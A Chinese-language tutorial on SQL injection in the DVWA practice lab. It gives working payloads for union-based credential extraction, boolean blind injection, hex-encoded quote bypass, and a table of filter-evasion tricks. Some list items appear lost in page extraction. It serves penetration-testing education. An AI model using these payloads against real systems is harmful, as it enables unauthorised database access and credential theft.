在渗透测试和CTF比赛中,SQL注入始终是最常见也最容易被误解的漏洞类型。许多学习者能够熟练背诵各种注入语句,却在实际遇到没有明显回显的盲注场景时束手无策。本文将以DVWA靶场为实验环境,重点培养注入思维而非记忆语句,帮助读者掌握如何根据页面响应判断注入类型、构造有效Payload,以及在不同过滤规则下调整攻击策略。
SQL注入的核心在于理解应用程序如何处理用户输入。当用户输入被直接拼接到SQL查询中时,攻击者可以通过精心构造的输入改变原始查询的逻辑结构。在DVWA的Low级别SQL注入中,典型的字符型注入流程如下:
1' and 1=2#触发错误,说明存在单引号闭合order by子句逐步测试,发现order by 3报错而order by 2正常union select结合负ID值,确认页面中哪些位置会回显查询结果information_schema获取表名、列名,最终导出用户凭证sql复制-- 典型的数据提取流程示例
-1' union select group_concat(user),group_concat(password) from users #
关键思维转变:不要死记这些步骤,而是理解每个操作背后的原理。例如:
and 1=2的作用是制造一个永假条件,用于测试注入点是否生效order by测试依赖于数据库对列索引的严格检查union select需要匹配前后查询的列数,这就是为什么要先确定列数在DVWA的SQL Injection (Blind)模块中,页面不会直接显示查询结果,只会通过"存在/缺失"或响应时间差异反馈信息。这时需要采用布尔盲注或时间盲注技术。
布尔盲注依赖于三个关键函数的组合使用:
length():确定字符串长度substr():截取字符串的特定部分ascii():将字符转换为ASCII码进行比对sql复制-- 判断数据库名长度的典型Payload
1' and length(database())>5#
1' and length(database())=4#
-- 逐字符猜解数据库名
1' and ascii(substr(database(),1,1))=100# -- 首字母'd'(ASCII 100)
1' and ascii(substr(database(),2,1))=118# -- 次字母'v'
手动构造每个盲注请求极其耗时,可以借助Burp Suite的Intruder模块实现自动化:
substr(database(),§1§,1))效率对比:手动猜解一个4字符的数据库名需要最多4×96=384次请求,而工具可以在几分钟内完成。
随着DVWA难度提升,会遇到各种输入过滤机制。Medium级别过滤了引号,High级别增加了CSRF防护。这时需要调整策略:
当单引号被过滤时,可以将字符串转换为十六进制表示:
sql复制-- 原始语句(会被过滤)
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
-- 十六进制替代方案
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#
转换工具:可以使用Python快速获取字符串的十六进制表示:
python复制>>> 'dvwa'.encode('utf-8').hex()
'64767761'
High级别需要每次操作前点击"Edit this cookie"生成新token。在实战中:
DVWA只是起点,真实环境更加复杂多变。建议培养以下思维习惯:
响应分析:建立页面响应与SQL语句执行结果的关联模型
闭合策略库:收集各种闭合方式的Payload
markdown复制- 单引号闭合:`'...'`
- 双引号闭合:`"..."`
- 括号闭合:`(...)`
- 混合闭合:`')...'#`
过滤绕过技术矩阵:
| 过滤项 | 绕过技术 | 示例 |
|---|---|---|
| 空格 | 注释符替代 | /**/ |
| 引号 | 十六进制编码 | 0x... |
| 关键词 | 大小写混合/注释分割 | SeLeCt SEL/*xxx*/ECT |
| 等号 | 使用LIKE或IN | WHERE id LIKE 1 |
工具链配置:
在实际渗透测试中,遇到一个看似无法注入的点时,可以按照以下流程排查:
记住,SQL注入的本质是与数据库解析器对话。当你真正理解了数据库如何解释你输入的每个字符时,就能在各种防御措施下找到突破口。